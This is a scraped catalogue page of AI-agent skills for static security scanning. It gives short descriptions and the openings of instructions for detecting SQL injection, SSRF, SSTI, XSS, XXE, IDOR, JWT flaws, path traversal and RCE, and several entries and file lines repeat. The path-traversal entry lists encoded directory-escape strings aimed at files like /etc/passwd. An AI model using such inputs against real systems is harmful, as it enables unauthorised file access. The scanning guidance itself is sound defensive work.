Consolidate all SAST vulnerability results from the sast/ folder into a single final report ranked by severity and confidentiality impact. Reads all *-results.md files and produces sast/final-report.md. Run after all vulnerability detection skills complete. Use when asked to generate a final report, consolidate findings, or summarize security results.
What it loads into context
Frontmatter
82 tokensAlways available to the agent
SKILL.md
1,684 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- What to Include
- Severity Ranking
- Execution
- Important Reminders
Files
SKILL.mdcore7,013 bytesSKILL.mdcore7,013 bytes
Read SKILL.md
# Final Security Report Generation
You are consolidating all completed SAST vulnerability scan results into a single prioritized security report.
**Prerequisites**: At least one `sast/*-results.md` file must exist. Run the vulnerability detection skills first if they don't.
---
## What to Include
Only include findings with these classifications from each result file:
- `[VULNERABLE]`
- `[LIKELY VULNERABLE]`
View the complete source on GitHubsast-sqli
When your agent uses it
Detect SQL injection vulnerabilities in a codebase using a three-phase approach: recon (find unsafe SQL construction sites), batched verify (trace user input to those sites in parallel subagents, 3 sites each), and merge (consolidate batch results). Covers string concat, f-strings, unsafe ORM methods, and dynamic identifiers. Requires sast/architecture.md (run sast-analysis first). Outputs findings to sast/sqli-results.md. Use when asked to find SQLi or database injection bugs.
What it loads into context
Frontmatter
121 tokensAlways available to the agent
SKILL.md
6,010 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- What is SQL Injection
- Vulnerable vs. Secure Examples
- Execution
- Important Reminders
Files
SKILL.mdcore24,279 bytesSKILL.mdcore24,279 bytesSKILL.mdcore24,279 bytesSKILL.mdcore24,279 bytesSKILL.mdcore24,279 bytesSKILL.mdcore24,279 bytesSKILL.mdcore24,279 bytes
Read SKILL.md
# SQL Injection (SQLi) Detection
You are performing a focused security assessment to find SQL injection vulnerabilities in a codebase. This skill uses a three-phase approach with subagents: **recon** (find vulnerable SQL construction sites), **batched verify** (taint analysis in parallel batches of 3), and **merge** (consolidate batch reports into one file).
**Prerequisites**: `sast/architecture.md` must exist. Run the analysis skill first if it doesn't.
---
## What is SQL Injection
SQL injection occurs when user-supplied input is incorporated into SQL queries through string concatenation or interpolation rather than parameterized binding. This allows attackers to alter query logic, bypass authentication, extract sensitive data, modify or delete records, and in some configurations execute OS commands.
The core pattern: *unvalidated, unparameterized user input reaches a SQL query execution call.*
View the complete source on GitHubsast-ssrf
When your agent uses it
Detect Server-Side Request Forgery (SSRF) vulnerabilities in a codebase using a three-phase approach: recon (find outbound call sites), batched verify (trace user input to destinations in parallel subagents, 3 sites each), and merge (consolidate batch results). Requires sast/architecture.md (run sast-analysis first). Outputs findings to sast/ssrf-results.md. Use when asked to find SSRF or server-side request forgery bugs.
What it loads into context
Frontmatter
115 tokensAlways available to the agent
SKILL.md
6,880 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- What is SSRF
- Vulnerable vs. Secure Examples
- Execution
- Important Reminders
Files
SKILL.mdcore27,118 bytesSKILL.mdcore27,118 bytesSKILL.mdcore27,118 bytesSKILL.mdcore27,118 bytesSKILL.mdcore27,118 bytesSKILL.mdcore27,118 bytesSKILL.mdcore27,118 bytesSKILL.mdcore27,118 bytesSKILL.mdcore27,118 bytesSKILL.mdcore27,118 bytes
Read SKILL.md
# Server-Side Request Forgery (SSRF) Detection
You are performing a focused security assessment to find SSRF vulnerabilities in a codebase. This skill uses a three-phase approach with subagents: **recon** (find all places that make outbound TCP, DNS, or HTTP requests), **batched verify** (trace whether user-supplied input reaches those call sites, in parallel batches of 3), and **merge** (consolidate batch reports into one file).
**Prerequisites**: `sast/architecture.md` must exist. Run the analysis skill first if it doesn't.
---
## What is SSRF
SSRF occurs when an attacker can cause the server to make outbound network requests to an arbitrary destination — including internal services, cloud metadata endpoints, or other external targets — by supplying or influencing the URL, hostname, IP, or port used in a server-side request.
The core pattern: *unvalidated, user-controlled input reaches the destination argument of an outbound network call.*
View the complete source on GitHubsast-ssti
When your agent uses it
Detect Server-Side Template Injection (SSTI) vulnerabilities in a codebase using a three-phase approach: recon (find template rendering sites that use dynamic strings), batched verify (trace user input to those sites in parallel subagents, 3 candidates each), and merge (consolidate batch results). Requires sast/architecture.md (run sast-analysis first). Outputs findings to sast/ssti-results.md. Use when asked to find SSTI or template injection bugs.
What it loads into context
Frontmatter
115 tokensAlways available to the agent
SKILL.md
7,571 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- What is SSTI
- Vulnerable vs. Secure Examples
- Execution
- Important Reminders
Files
SKILL.mdcore30,101 bytesSKILL.mdcore30,101 bytesSKILL.mdcore30,101 bytesSKILL.mdcore30,101 bytesSKILL.mdcore30,101 bytesSKILL.mdcore30,101 bytesSKILL.mdcore30,101 bytesSKILL.mdcore30,101 bytes
Read SKILL.md
# Server-Side Template Injection (SSTI) Detection
You are performing a focused security assessment to find Server-Side Template Injection vulnerabilities in a codebase. This skill uses a three-phase approach with subagents: **recon** (find candidate rendering sites where the template string is dynamic), **batched verify** (trace whether user input reaches each site's template argument, in parallel batches of 3), and **merge** (consolidate batch results into the final report).
**Prerequisites**: `sast/architecture.md` must exist. Run the analysis skill first if it doesn't.
---
## What is SSTI
Server-Side Template Injection occurs when user-supplied input is embedded directly into a template string that is then evaluated by a template engine. Unlike passing user data as *context variables* to a static template, SSTI means the user can write template syntax that the engine will execute — leading to arbitrary code execution, file read, or full server compromise.
The core pattern: *unvalidated user input is used as the template string passed to a template engine's render/compile/evaluate function.*
View the complete source on GitHubsast-xss
When your agent uses it
Detect Cross-Site Scripting (XSS) vulnerabilities in a codebase using a three-phase approach: recon (find HTML/JS/DOM sink sites), batched verify (trace user input to sinks in parallel subagents, 3 sink sites each), and merge (consolidate batch results). Requires sast/architecture.md (run sast-analysis first). Outputs findings to sast/xss-results.md. Use when asked to find XSS or cross-site scripting bugs.
What it loads into context
Frontmatter
115 tokensAlways available to the agent
SKILL.md
7,607 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- What is XSS
- Vulnerable vs. Secure Examples
- Execution
- Important Reminders
Files
SKILL.mdcore29,064 bytesSKILL.mdcore29,064 bytesSKILL.mdcore29,064 bytesSKILL.mdcore29,064 bytesSKILL.mdcore29,064 bytesSKILL.mdcore29,064 bytesSKILL.mdcore29,064 bytes
Read SKILL.md
# Cross-Site Scripting (XSS) Detection
You are performing a focused security assessment to find Cross-Site Scripting vulnerabilities in a codebase. This skill uses a three-phase approach with subagents: **recon** (find sink sites), **batched verify** (trace taint for parallel batches of up to 3 sinks each), and **merge** (consolidate batch results into one report).
**Prerequisites**: `sast/architecture.md` must exist. Run the analysis skill first if it doesn't.
---
## What is XSS
XSS occurs when user-supplied input is incorporated into a web page's HTML, JavaScript, or DOM without proper escaping or sanitization. This allows attackers to inject and execute arbitrary scripts in victims' browsers, leading to session hijacking, credential theft, defacement, and malware distribution.
The core pattern: *unescaped, unsanitized user input reaches an HTML/JS output sink.*
View the complete source on GitHubsast-xxe
When your agent uses it
Detect XML External Entity (XXE) vulnerabilities in a codebase using a three-phase approach: recon (find XML parsing sites without external-entity hardening), batched verify (trace user input to each site in parallel subagents, 3 sites each), and merge (consolidate batch results). Requires sast/architecture.md (run sast-analysis first). Outputs findings to sast/xxe-results.md. Use when asked to find XXE or XML injection bugs.
What it loads into context
Frontmatter
116 tokensAlways available to the agent
SKILL.md
7,125 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- What is XXE
- Vulnerable vs. Secure Examples
- Execution
- Important Reminders
Files
SKILL.mdcore28,900 bytesSKILL.mdcore28,900 bytesSKILL.mdcore28,900 bytesSKILL.mdcore28,900 bytesSKILL.mdcore28,900 bytesSKILL.mdcore28,900 bytesSKILL.mdcore28,900 bytesSKILL.mdcore28,900 bytesSKILL.mdcore28,900 bytesSKILL.mdcore28,900 bytesSKILL.mdcore28,900 bytes
Read SKILL.md
# XML External Entity (XXE) Detection
You are performing a focused security assessment to find XXE vulnerabilities in a codebase. This skill uses a three-phase approach with subagents: **recon** (find XML parsing sites where external entities are not safely disabled), **batched verify** (trace whether user-supplied input reaches those parsers, in parallel batches of 3), and **merge** (consolidate batch results into one report).
**Prerequisites**: `sast/architecture.md` must exist. Run the analysis skill first if it doesn't.
---
## What is XXE
XXE occurs when an XML parser processes a document containing a reference to an external entity and the parser has external entity resolution enabled. An attacker who can supply XML input can use this to read arbitrary local files, perform server-side request forgery (internal network probing), trigger denial-of-service via entity expansion (Billion Laughs), or in some stacks execute OS commands.
The core pattern: *user-controlled XML reaches an XML parser that has not disabled DTD processing or external entity resolution.*
View the complete source on GitHubsast-analysis
When your agent uses it
Perform codebase analysis and architecture mapping as the first phase of a security assessment. Explores the tech stack, frameworks, entry points, data flows, and trust boundaries. Outputs sast/architecture.md. Run this before any vulnerability detection skill. Use when asked to analyze a codebase for security or when sast/architecture.md does not yet exist.
What it loads into context
Frontmatter
87 tokensAlways available to the agent
SKILL.md
897 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Phase 1: Technology Reconnaissance
- Phase 2: Architecture Mapping
- Important Reminders
Files
SKILL.mdcore4,056 bytesSKILL.mdcore4,056 bytesSKILL.mdcore4,056 bytes
Read SKILL.md
# Codebase Analysis
You are performing the first phase of a security assessment. Your goal is to deeply understand the codebase. You are NOT looking for specific vulnerabilities yet. This is pure reconnaissance.
Create a `sast/` folder in the project root (if it doesn't already exist). This phase produces one output file inside it:
`sast/architecture.md` — technology stack, architecture, entry points, data flows
## Phase 1: Technology Reconnaissance
Explore the codebase and identify:
- **Languages**: All programming languages used and their versions if specified
- **Frameworks**: Web frameworks, ORM layers, template engines, task queuesView the complete source on GitHubsast-businesslogic
When your agent uses it
Detect business logic vulnerabilities in a codebase using a three-phase approach: threat modeling (domain analysis and attack scenarios), batched verify (check exploitable gaps in parallel subagents, 3 scenarios each), and merge (consolidate batch results). Covers price manipulation, workflow bypass, limit violations, race conditions, reward abuse, etc. Requires sast/architecture.md (run sast-analysis first). Outputs findings to sast/businesslogic-results.md. Use when asked to find business logic, logic flaws, or abuse-of-function bugs.
What it loads into context
Frontmatter
129 tokensAlways available to the agent
SKILL.md
4,713 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- What are Business Logic Vulnerabilities
- Business Logic Attack Categories
- Execution
- Important Reminders
Files
SKILL.mdcore21,213 bytes
Read SKILL.md
# Business Logic Vulnerability Detection
You are performing a focused security assessment to find business logic vulnerabilities in a codebase. This skill uses a three-phase approach with subagents: **threat modeling** (understand the domain and generate attack scenarios), **batched verify** (check whether scenarios are exploitable in parallel batches of 3), and **merge** (consolidate batch results).
**Prerequisites**: `sast/architecture.md` must exist. Run the analysis skill first if it doesn't.
---
## What are Business Logic Vulnerabilities
Business logic vulnerabilities arise when an application's intended workflow, rules, or constraints can be manipulated to produce unintended outcomes — without exploiting technical flaws like injection or memory corruption. The attacker operates within the application's own features but uses them in ways the developers did not anticipate.
The core pattern: *the application accepts input that is syntactically valid and passes authentication/authorization, but violates a business rule that was never enforced in code.*
View the complete source on GitHubsast-fileupload
When your agent uses it
Detect insecure file upload vulnerabilities in a codebase using a three-phase approach: discovery (find all upload sites), batched verify (check extension bypass and related issues in parallel subagents, 3 sites each), and merge (consolidate batch results). Requires sast/architecture.md (run sast-analysis first). Outputs findings to sast/fileupload-results.md. Use when asked to find file upload, unrestricted upload, or extension bypass bugs.
What it loads into context
Frontmatter
108 tokensAlways available to the agent
SKILL.md
7,267 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- What is an Insecure File Upload
- Vulnerable vs. Secure Examples
- Execution
- Important Reminders
Files
SKILL.mdcore29,374 bytesSKILL.mdcore29,374 bytesSKILL.mdcore29,374 bytesSKILL.mdcore29,374 bytesSKILL.mdcore29,374 bytesSKILL.mdcore29,374 bytesSKILL.mdcore29,374 bytesSKILL.mdcore29,374 bytesSKILL.mdcore29,374 bytesSKILL.mdcore29,374 bytesSKILL.mdcore29,374 bytesSKILL.mdcore29,374 bytes
Read SKILL.md
# Insecure File Upload Detection
You are performing a focused security assessment to find insecure file upload vulnerabilities in a codebase. This skill uses a three-phase approach with subagents: **discovery** (find all places where uploaded files are received and stored), **batched verify** (check bypass vectors in parallel batches of up to 3 upload sites each), and **merge** (consolidate batch reports into one results file).
**Prerequisites**: `sast/architecture.md` must exist. Run the analysis skill first if it doesn't.
---
## What is an Insecure File Upload
Insecure file upload occurs when an application accepts files from users without properly validating or restricting what can be uploaded, allowing an attacker to upload executable or malicious files. The most critical outcome is **Remote Code Execution (RCE)**: an attacker uploads a web shell (e.g., a `.php` file) and the server executes it when accessed via a direct URL.
The core pattern: *a user-supplied file reaches a storage location without adequate extension validation, and the stored file is accessible or executable.*
View the complete source on GitHubsast-graphql
When your agent uses it
Detect GraphQL injection vulnerabilities in a codebase using a three-phase approach: recon (confirm GraphQL usage and find unsafe operation document assembly sites), batched verify (trace user input to those sites in parallel subagents, up to 3 candidate sites each), and merge (consolidate batch results). Requires sast/architecture.md (run sast-analysis first). Outputs findings to sast/graphql-results.md. If no GraphQL technology is found in Phase 1, later phases are skipped. Use when asked to find GraphQL injection, unsafe GraphQL document construction, or operation string injection bugs.
What it loads into context
Frontmatter
142 tokensAlways available to the agent
SKILL.md
4,535 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- What is GraphQL Injection
- Vulnerable vs. Secure Examples
- Execution
- Important Reminders
Files
SKILL.mdcore18,773 bytesSKILL.mdcore18,773 bytesSKILL.mdcore18,773 bytes
Read SKILL.md
# GraphQL Injection Detection
You are performing a focused security assessment to find GraphQL injection vulnerabilities. This skill uses a three-phase approach with subagents: **recon** (confirm GraphQL usage and find every location where a GraphQL operation document is assembled unsafely), **batched verify** (trace whether user-supplied input reaches those assembly sites, in parallel batches of up to 3 sites each), and **merge** (consolidate batch results into the final report).
**Prerequisites**: `sast/architecture.md` must exist. Run the analysis skill first if it doesn't.
---
## What is GraphQL Injection
GraphQL injection occurs when user-controlled data is embedded into the **GraphQL document** (the query, mutation, or subscription string) rather than passed only through the **variables** map. The parser then interprets attacker-controlled syntax — new fields, aliases, directives, or fragments — which can bypass intent, reach unauthorized resolvers, or change server-side behavior when that document is executed or forwarded.
The core pattern: *unvalidated user input alters the structure or text of the GraphQL operation string passed to `execute`, `graphql`, a gateway client, or an HTTP body `query` field built from string operations.*
View the complete source on GitHubsast-hardcodedsecrets
When your agent uses it
Detect hardcoded sensitive data (API keys, access tokens, private keys, passwords, etc.) in publicly accessible code — frontend JavaScript, mobile apps, client-side bundles, and HTML templates. Uses a three-phase approach: recon (find secret candidates), batched verify (confirm real secrets in public code paths, 3 candidates each), and merge (consolidate batch results). Requires sast/architecture.md (run sast-analysis first). Outputs findings to sast/hardcodedsecrets-results.md. Use when asked to find hardcoded secrets, leaked API keys, or exposed credentials.
What it loads into context
Frontmatter
140 tokensAlways available to the agent
SKILL.md
6,724 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- What Are Hardcoded Secrets in Public Code
- Types of Secrets to Look For
- Execution
- Important Reminders
Files
SKILL.mdcore26,104 bytesSKILL.mdcore26,104 bytesSKILL.mdcore26,104 bytesSKILL.mdcore26,104 bytesSKILL.mdcore26,104 bytesSKILL.mdcore26,104 bytesSKILL.mdcore26,104 bytesSKILL.mdcore26,104 bytesSKILL.mdcore26,104 bytesSKILL.mdcore26,104 bytes
Read SKILL.md
# Hardcoded Secrets in Public Code Detection
You are performing a focused security assessment to find hardcoded sensitive data that is exposed in publicly accessible code. This skill uses a three-phase approach with subagents: **recon** (find all potential secret candidates), **batched verify** (confirm each is a real secret in publicly reachable code, in parallel batches of 3), and **merge** (consolidate batch reports into one file).
**Prerequisites**: `sast/architecture.md` must exist. Run the analysis skill first if it doesn't.
---
## What Are Hardcoded Secrets in Public Code
Hardcoded secrets are sensitive credentials — API keys, access tokens, private keys, passwords, signing secrets, database connection strings — embedded directly in source code as string literals.
This skill focuses specifically on secrets that end up in **publicly accessible code**, meaning an attacker can extract them **without any server-side access**. A secret hardcoded in backend server code is bad practice but not directly exploitable by an external attacker inspecting the deployed application. A secret hardcoded in frontend JavaScript or a mobile app binary **is** directly extractable.
View the complete source on GitHubsast-idor
When your agent uses it
Detect Insecure Direct Object Reference (IDOR) vulnerabilities in a codebase using a three-phase approach: recon (find candidates), batched verify (check authorization in parallel subagents, 3 candidates each), and merge (consolidate batch results). Checks endpoints for missing ownership or authorization checks on user-supplied identifiers. Requires sast/architecture.md (run sast-analysis first). Outputs findings to sast/idor-results.md. Use when asked to find IDOR or authorization bypass bugs.
What it loads into context
Frontmatter
121 tokensAlways available to the agent
SKILL.md
4,956 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- What is IDOR
- Vulnerable vs. Secure Examples
- Execution
- Important Reminders
Files
SKILL.mdcore19,784 bytesSKILL.mdcore19,784 bytesSKILL.mdcore19,784 bytesSKILL.mdcore19,784 bytes
Read SKILL.md
# IDOR (Insecure Direct Object Reference) Detection
You are performing a focused security assessment to find IDOR vulnerabilities in a codebase. This skill uses a three-phase approach with subagents: **recon** (find candidate endpoints), **batched verify** (check authorization in parallel batches of 3), and **merge** (consolidate results).
**Prerequisites**: `sast/architecture.md` must exist. Run the analysis skill first if it doesn't.
---
## What is IDOR
IDOR occurs when an application uses a user-supplied identifier (ID, slug, filename, etc.) to directly access an object **without verifying the requesting user is authorized to access that specific object**. The application authenticates the user but fails to check ownership or permissions on the requested resource.
The core pattern: *authenticated user A can access or modify resources belonging to user B by changing an identifier in the request.*
View the complete source on GitHubsast-jwt
When your agent uses it
Detect insecure JWT (JSON Web Token) implementations in a codebase using a two-phase approach: first map all JWT issuance and verification sites to understand the token lifecycle and signing configuration, then check each verification site for exploitable weaknesses such as algorithm confusion, missing signature verification, weak secrets, header injection, and missing claim validation. Requires sast/architecture.md (run sast-analysis first). Outputs findings to sast/jwt-results.md. If no JWT usage is found in Phase 1, Phase 2 is skipped. Use when asked to find JWT, token forgery, or authentication bypass bugs.
What it loads into context
Frontmatter
142 tokensAlways available to the agent
SKILL.md
5,862 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- What is an Insecure JWT Implementation
- Vulnerable vs. Secure Examples
- Execution
- Important Reminders
Files
SKILL.mdcore23,943 bytesSKILL.mdcore23,943 bytesSKILL.mdcore23,943 bytesSKILL.mdcore23,943 bytesSKILL.mdcore23,943 bytesSKILL.mdcore23,943 bytesSKILL.mdcore23,943 bytesSKILL.mdcore23,943 bytesSKILL.mdcore23,943 bytes
Read SKILL.md
# JWT Vulnerability Detection
You are performing a focused security assessment to find insecure JSON Web Token (JWT) implementations. This skill uses a two-phase approach with subagents: **recon** (map the full JWT lifecycle — issuance, verification, and configuration) then **analysis** (identify every exploitable weakness in those verification sites).
**Prerequisites**: `sast/architecture.md` must exist. Run the analysis skill first if it doesn't.
---
## What is an Insecure JWT Implementation
JWTs consist of three Base64URL-encoded parts: `header.payload.signature`. The header declares the signing algorithm (`alg`), the payload carries claims (e.g., `sub`, `role`, `exp`), and the signature is a cryptographic proof of integrity. Vulnerabilities arise when the server trusts the token's own claims about how it was signed, fails to verify the signature at all, uses a guessable secret, or trusts attacker-controlled key material embedded in the token itself.
The core pattern: *the server does not fully verify the JWT's authenticity and integrity before trusting its claims.*
View the complete source on GitHubsast-missingauth
When your agent uses it
Detect missing authentication and broken function-level authorization vulnerabilities in a codebase using a three-phase approach: recon (map endpoints and the role/permission system), batched verify (check auth/authz in parallel subagents, 3 endpoints each), and merge (consolidate batch results). Covers unauthenticated access and vertical privilege escalation (e.g., regular user accessing admin-only functions). Requires sast/architecture.md (run sast-analysis first). Outputs findings to sast/missingauth-results.md. Use when asked to find missing auth, broken access control, or privilege escalation bugs.
What it loads into context
Frontmatter
143 tokensAlways available to the agent
SKILL.md
5,805 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- What This Skill Covers
- Vulnerability Classes
- Authorization Patterns That PREVENT Vulnerabilities
- Vulnerable vs. Secure Examples
- Execution
- Important Reminders
Files
SKILL.mdcore23,966 bytesSKILL.mdcore23,966 bytesSKILL.mdcore23,966 bytesSKILL.mdcore23,966 bytesSKILL.mdcore23,966 bytesSKILL.mdcore23,966 bytes
Read SKILL.md
# Missing Authentication & Broken Function-Level Authorization Detection
You are performing a focused security assessment to find missing authentication and broken function-level authorization vulnerabilities in a codebase. This skill uses a three-phase approach with subagents: **recon** (map endpoints and the permission system), **batched verify** (check authentication and authorization in parallel batches of 3 endpoints each), and **merge** (consolidate batch results into the final report).
**Prerequisites**: `sast/architecture.md` must exist. Run the analysis skill first if it doesn't.
---
## What This Skill Covers
### Missing Authentication
An endpoint performs a sensitive action but requires **no login at all** — any anonymous HTTP request can trigger it.
### Broken Function-Level AuthorizationView the complete source on GitHubsast-pathtraversal
When your agent uses it
Detect path traversal vulnerabilities in a codebase using a three-phase approach: recon (find file-loading sinks with dynamic paths), batched verify (trace user input and mitigations in parallel subagents, 3 sinks each), and merge (consolidate batch results). Requires sast/architecture.md (run sast-analysis first). Outputs findings to sast/pathtraversal-results.md. Use when asked to find path traversal, directory traversal, or file disclosure bugs.
What it loads into context
Frontmatter
116 tokensAlways available to the agent
SKILL.md
6,804 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- What is Path Traversal
- Vulnerable vs. Secure Examples
- Execution
- Important Reminders
Files
SKILL.mdcore27,509 bytesSKILL.mdcore27,509 bytesSKILL.mdcore27,509 bytesSKILL.mdcore27,509 bytesSKILL.mdcore27,509 bytesSKILL.mdcore27,509 bytesSKILL.mdcore27,509 bytesSKILL.mdcore27,509 bytesSKILL.mdcore27,509 bytesSKILL.mdcore27,509 bytesSKILL.mdcore27,509 bytesSKILL.mdcore27,509 bytesSKILL.mdcore27,509 bytes
Read SKILL.md
# Path Traversal Detection
You are performing a focused security assessment to find path traversal vulnerabilities in a codebase. This skill uses a three-phase approach with subagents: **recon** (find file-loading sinks with dynamic paths), **batched verify** (trace user input and check mitigations in parallel batches of 3), and **merge** (consolidate batch results into one report).
**Prerequisites**: `sast/architecture.md` must exist. Run the analysis skill first if it doesn't.
---
## What is Path Traversal
Path traversal (also called directory traversal) occurs when user-supplied input is incorporated into a file path that is then used to read, write, or serve files from the filesystem — without properly constraining the resulting path to an intended base directory. An attacker can supply sequences like `../` or encoded variants (`%2e%2e%2f`, `..%2f`, `%2e%2e/`) to escape the intended directory and access arbitrary files such as `/etc/passwd`, application source code, credentials, or private keys.
The core pattern: *unvalidated user input reaches a filesystem operation and the resolved path is not verified to remain within the intended base directory.*
View the complete source on GitHubsast-rce
When your agent uses it
Detect Remote Code Execution (RCE) vulnerabilities in a codebase using a three-phase approach: recon (find dangerous execution sinks), batched verify (trace user input to sinks in parallel subagents, 3 sinks each), and merge (consolidate batch results). Covers OS command injection, eval-like sinks, and unsafe deserialization. Requires sast/architecture.md (run sast-analysis first). Outputs findings to sast/rce-results.md. Use when asked to find RCE, command injection, or unsafe deserialization bugs.
What it loads into context
Frontmatter
126 tokensAlways available to the agent
SKILL.md
8,379 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- What is Remote Code Execution
- Vulnerable vs. Secure Examples
- Execution
- Important Reminders
Files
SKILL.mdcore33,624 bytesSKILL.mdcore33,624 bytesSKILL.mdcore33,624 bytesSKILL.mdcore33,624 bytesSKILL.mdcore33,624 bytesSKILL.mdcore33,624 bytesSKILL.mdcore33,624 bytesSKILL.mdcore33,624 bytesSKILL.mdcore33,624 bytesSKILL.mdcore33,624 bytes
Read SKILL.md
# Remote Code Execution (RCE) Detection
You are performing a focused security assessment to find Remote Code Execution vulnerabilities in a codebase. This skill uses a three-phase approach with subagents: **recon** (find dangerous execution sinks), **batched verify** (trace whether user-supplied input reaches each sink in parallel batches of 3), and **merge** (consolidate batch results into the final report).
**Prerequisites**: `sast/architecture.md` must exist. Run the analysis skill first if it doesn't.
---
## What is Remote Code Execution
Remote Code Execution (RCE) occurs when an attacker can cause the application to execute arbitrary OS commands or application-level code that they control. This is typically the highest-severity vulnerability class, often resulting in complete server compromise.
RCE arises from three primary root causes:
View the complete source on GitHubsast-report
When your agent uses it
Consolidate all SAST vulnerability results from the sast/ folder into a single final report ranked by severity and confidentiality impact. Reads all *-results.md files and produces sast/final-report.md. Run after all vulnerability detection skills complete. Use when asked to generate a final report, consolidate findings, or summarize security results.
What it loads into context
Frontmatter
82 tokensAlways available to the agent
SKILL.md
1,684 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- What to Include
- Severity Ranking
- Execution
- Important Reminders
Files
SKILL.mdcore7,013 bytesSKILL.mdcore7,013 bytes
Read SKILL.md
# Final Security Report Generation
You are consolidating all completed SAST vulnerability scan results into a single prioritized security report.
**Prerequisites**: At least one `sast/*-results.md` file must exist. Run the vulnerability detection skills first if they don't.
---
## What to Include
Only include findings with these classifications from each result file:
- `[VULNERABLE]`
- `[LIKELY VULNERABLE]`
View the complete source on GitHubsast-sqli
When your agent uses it
Detect SQL injection vulnerabilities in a codebase using a three-phase approach: recon (find unsafe SQL construction sites), batched verify (trace user input to those sites in parallel subagents, 3 sites each), and merge (consolidate batch results). Covers string concat, f-strings, unsafe ORM methods, and dynamic identifiers. Requires sast/architecture.md (run sast-analysis first). Outputs findings to sast/sqli-results.md. Use when asked to find SQLi or database injection bugs.
What it loads into context
Frontmatter
121 tokensAlways available to the agent
SKILL.md
6,010 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- What is SQL Injection
- Vulnerable vs. Secure Examples
- Execution
- Important Reminders
Files
SKILL.mdcore24,279 bytesSKILL.mdcore24,279 bytesSKILL.mdcore24,279 bytesSKILL.mdcore24,279 bytesSKILL.mdcore24,279 bytesSKILL.mdcore24,279 bytesSKILL.mdcore24,279 bytes
Read SKILL.md
# SQL Injection (SQLi) Detection
You are performing a focused security assessment to find SQL injection vulnerabilities in a codebase. This skill uses a three-phase approach with subagents: **recon** (find vulnerable SQL construction sites), **batched verify** (taint analysis in parallel batches of 3), and **merge** (consolidate batch reports into one file).
**Prerequisites**: `sast/architecture.md` must exist. Run the analysis skill first if it doesn't.
---
## What is SQL Injection
SQL injection occurs when user-supplied input is incorporated into SQL queries through string concatenation or interpolation rather than parameterized binding. This allows attackers to alter query logic, bypass authentication, extract sensitive data, modify or delete records, and in some configurations execute OS commands.
The core pattern: *unvalidated, unparameterized user input reaches a SQL query execution call.*
View the complete source on GitHubsast-ssrf
When your agent uses it
Detect Server-Side Request Forgery (SSRF) vulnerabilities in a codebase using a three-phase approach: recon (find outbound call sites), batched verify (trace user input to destinations in parallel subagents, 3 sites each), and merge (consolidate batch results). Requires sast/architecture.md (run sast-analysis first). Outputs findings to sast/ssrf-results.md. Use when asked to find SSRF or server-side request forgery bugs.
What it loads into context
Frontmatter
115 tokensAlways available to the agent
SKILL.md
6,880 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- What is SSRF
- Vulnerable vs. Secure Examples
- Execution
- Important Reminders
Files
SKILL.mdcore27,118 bytesSKILL.mdcore27,118 bytesSKILL.mdcore27,118 bytesSKILL.mdcore27,118 bytesSKILL.mdcore27,118 bytesSKILL.mdcore27,118 bytesSKILL.mdcore27,118 bytesSKILL.mdcore27,118 bytesSKILL.mdcore27,118 bytesSKILL.mdcore27,118 bytes
Read SKILL.md
# Server-Side Request Forgery (SSRF) Detection
You are performing a focused security assessment to find SSRF vulnerabilities in a codebase. This skill uses a three-phase approach with subagents: **recon** (find all places that make outbound TCP, DNS, or HTTP requests), **batched verify** (trace whether user-supplied input reaches those call sites, in parallel batches of 3), and **merge** (consolidate batch reports into one file).
**Prerequisites**: `sast/architecture.md` must exist. Run the analysis skill first if it doesn't.
---
## What is SSRF
SSRF occurs when an attacker can cause the server to make outbound network requests to an arbitrary destination — including internal services, cloud metadata endpoints, or other external targets — by supplying or influencing the URL, hostname, IP, or port used in a server-side request.
The core pattern: *unvalidated, user-controlled input reaches the destination argument of an outbound network call.*
View the complete source on GitHubsast-ssti
When your agent uses it
Detect Server-Side Template Injection (SSTI) vulnerabilities in a codebase using a three-phase approach: recon (find template rendering sites that use dynamic strings), batched verify (trace user input to those sites in parallel subagents, 3 candidates each), and merge (consolidate batch results). Requires sast/architecture.md (run sast-analysis first). Outputs findings to sast/ssti-results.md. Use when asked to find SSTI or template injection bugs.
What it loads into context
Frontmatter
115 tokensAlways available to the agent
SKILL.md
7,571 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- What is SSTI
- Vulnerable vs. Secure Examples
- Execution
- Important Reminders
Files
